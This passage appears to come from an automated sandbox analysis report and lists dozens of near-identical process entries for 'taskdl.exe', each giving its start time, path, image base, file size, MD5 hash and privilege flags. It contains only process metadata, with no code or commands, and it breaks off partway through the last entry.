                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:79
                                                                                                                                                                              Start time:09:19:41
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:80
                                                                                                                                                                              Start time:09:19:41
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:81
                                                                                                                                                                              Start time:09:19:42
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:82
                                                                                                                                                                              Start time:09:19:42
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:83
                                                                                                                                                                              Start time:09:19:42
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:84
                                                                                                                                                                              Start time:09:19:42
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x7ff6d4dc0000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:85
                                                                                                                                                                              Start time:09:19:42
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:86
                                                                                                                                                                              Start time:09:19:43
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:87
                                                                                                                                                                              Start time:09:19:43
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:88
                                                                                                                                                                              Start time:09:19:43
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:89
                                                                                                                                                                              Start time:09:19:43
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:90
                                                                                                                                                                              Start time:09:19:44
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:91
                                                                                                                                                                              Start time:09:19:44
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:92
                                                                                                                                                                              Start time:09:19:44
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:93
                                                                                                                                                                              Start time:09:19:44
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:94
                                                                                                                                                                              Start time:09:19:45
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:95
                                                                                                                                                                              Start time:09:19:45
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:96
                                                                                                                                                                              Start time:09:19:45
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:97
                                                                                                                                                                              Start time:09:19:45
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:98
                                                                                                                                                                              Start time:09:19:45
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:99
                                                                                                                                                                              Start time:09:19:46
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:100
                                                                                                                                                                              Start time:09:19:46
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:101
                                                                                                                                                                              Start time:09:19:46
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:102
                                                                                                                                                                              Start time:09:19:46
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:103
                                                                                                                                                                              Start time:09:19:46
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:104
                                                                                                                                                                              Start time:09:19:47
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:105
                                                                                                                                                                              Start time:09:19:47
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:106
                                                                                                                                                                              Start time:09:19:47
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:107
                                                                                                                                                                              Start time:09:19:47
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:108
                                                                                                                                                                              Start time:09:19:48
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x7ff62c440000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:109
                                                                                                                                                                              Start time:09:19:48
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:110
                                                                                                                                                                              Start time:09:19:48
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:111
                                                                                                                                                                              Start time:09:19:48
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:112
                                                                                                                                                                              Start time:09:19:48
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:113
                                                                                                                                                                              Start time:09:19:49
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:114
                                                                                                                                                                              Start time:09:19:49
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:115
                                                                                                                                                                              Start time:09:19:49
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:116
                                                                                                                                                                              Start time:09:19:49
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:117
                                                                                                                                                                              Start time:09:19:50
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:118
                                                                                                                                                                              Start time:09:19:50
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:119
                                                                                                                                                                              Start time:09:19:50
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:120
                                                                                                                                                                              Start time:09:19:50
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:121
                                                                                                                                                                              Start time:09:19:50
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:122
                                                                                                                                                                              Start time:09:19:51
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:123
                                                                                                                                                                              Start time:09:19:51
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:124
                                                                                                                                                                              Start time:09:19:51
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
